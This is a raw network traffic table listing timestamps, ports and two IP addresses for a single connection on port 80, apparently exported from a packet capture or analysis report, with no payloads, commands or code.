Sep 15, 2024 19:37:36.842637062 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.842662096 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.842694998 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.842704058 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.842711926 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.842736006 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.842747927 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.842761040 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.842784882 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.842818022 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.842833042 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.842850924 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.842865944 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.842883110 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.842894077 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.842917919 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.842957020 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.843045950 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.843079090 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.843116045 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.843135118 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.843159914 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.843167067 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.843199968 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.843231916 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.843235016 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.843250990 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.843266010 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.843297958 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.843314886 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.843331099 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.843343973 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.843363047 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.843374968 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.843411922 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.843422890 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.843456984 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.843473911 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.843492985 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.843523979 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.843544006 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.843596935 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.843628883 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.843647003 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.843662977 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.843673944 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.843708992 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.843769073 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.843801975 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.843820095 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.843835115 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.843848944 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.843868017 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.843879938 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.843900919 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.843914986 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.843935966 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.843947887 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.843970060 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.843977928 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.844016075 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.844078064 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.844106913 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.844130993 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.844151020 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.844156027 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.844191074 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.844207048 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.844223022 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.844245911 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.844254971 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.844271898 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.844288111 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.844296932 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.844324112 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.844331980 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.844357967 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.844362974 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.844392061 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.844408035 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.844429016 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.844439983 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.844485998 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.844783068 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.844815016 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.844840050 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.844846964 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.844850063 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.844881058 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.844892979 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.844913006 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.844927073 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.844943047 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.844958067 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.844975948 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.844991922 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.845010042 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.845025063 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.845043898 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.845057964 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.845081091 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.845094919 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.845114946 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.845143080 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.845146894 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.845160007 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.845175982 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.845201969 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.845208883 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.845231056 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.845242977 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.845252037 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.845274925 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.845307112 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.845324039 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.845339060 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.845350981 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.845372915 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.845387936 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.845406055 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.845422029 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.845439911 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.845447063 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.845474958 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.845488071 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.845506907 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.845521927 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.845540047 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.845567942 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.845573902 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.845586061 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.845613003 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.845622063 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.845645905 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.845660925 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.845678091 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.845691919 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.845710993 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.845724106 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.845745087 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.845757961 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.845777988 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.845791101 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.845809937 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.845841885 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.845856905 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.845892906 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.845925093 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.845942020 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.845958948 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.845972061 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.846096992 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.922704935 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.922779083 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.922810078 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.922843933 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.922868013 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.922897100 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.922908068 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.922908068 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.922930002 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.922939062 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.922966003 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.922977924 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.923007011 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.923012972 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.923048973 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.923060894 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.923101902 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.923111916 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.923146009 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.923155069 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.923177958 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.923185110 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.923212051 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.923216105 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.923244953 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.923257113 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.923285007 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.923285007 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.923316956 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.923357010 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.930174112 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.930205107 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.930238008 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.930268049 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.930273056 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.930290937 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.930319071 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.930325985 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.930360079 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.930377007 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.930404902 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.930412054 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.930428982 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.930453062 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.930494070 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.930526018 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.930560112 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.930572987 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.930603027 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.930641890 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.930675030 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.930707932 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.930725098 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.930749893 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.930783987 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.930814028 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.930836916 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.930845976 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.930852890 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.930881977 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.930888891 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.930923939 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.930932999 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.930967093 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.930977106 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.931011915 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.931019068 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.931054115 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.931061983 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.931082010 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.931093931 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.931114912 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.931121111 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.931149006 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.931149960 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.931183100 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.931191921 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.931216955 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.931224108 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.931252956 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.931298971 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.931375980 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.931431055 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.931463957 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.931478024 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.931493998 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.931510925 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.931528091 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.931560040 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.931560040 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.931596041 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.931627989 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.931641102 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.931660891 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.931672096 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.931694984 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.931729078 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.931736946 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.931761980 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.931794882 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.931806087 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.931828976 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.931834936 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.931885004 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.931917906 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.931937933 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.931951046 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.931983948 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.931994915 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.932024956 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.932034016 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.932070971 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.932104111 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.932125092 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.932137012 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.932147980 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.932176113 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.932182074 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.932209015 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.932225943 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.932241917 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.932251930 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.932276011 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.932286978 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.932310104 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.932322025 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.932342052 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.932372093 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.932378054 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.932379007 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.932424068 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.932552099 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.932585955 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.932600975 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.932622910 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.932651997 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.932684898 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.932717085 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.932734966 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.932755947 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.932796001 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.932827950 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.932859898 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.932873964 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.932893991 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.932905912 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.932928085 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.932960987 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.932971001 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.933001041 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.933149099 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.933181047 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.933213949 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.933228970 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.933247089 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.933258057 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.933280945 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.933311939 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.933327913 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.933345079 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.933357000 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.933377981 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.933383942 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.933412075 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.933444023 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.933450937 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.933475971 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.933510065 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.933537006 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.933542967 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.933551073 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.933577061 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.933621883 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.933763027 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.933794022 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.933825970 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.933844090 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.933859110 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.933865070 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.933897972 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.933929920 CEST	80	49748	46.8.231.109	192.168.2.6
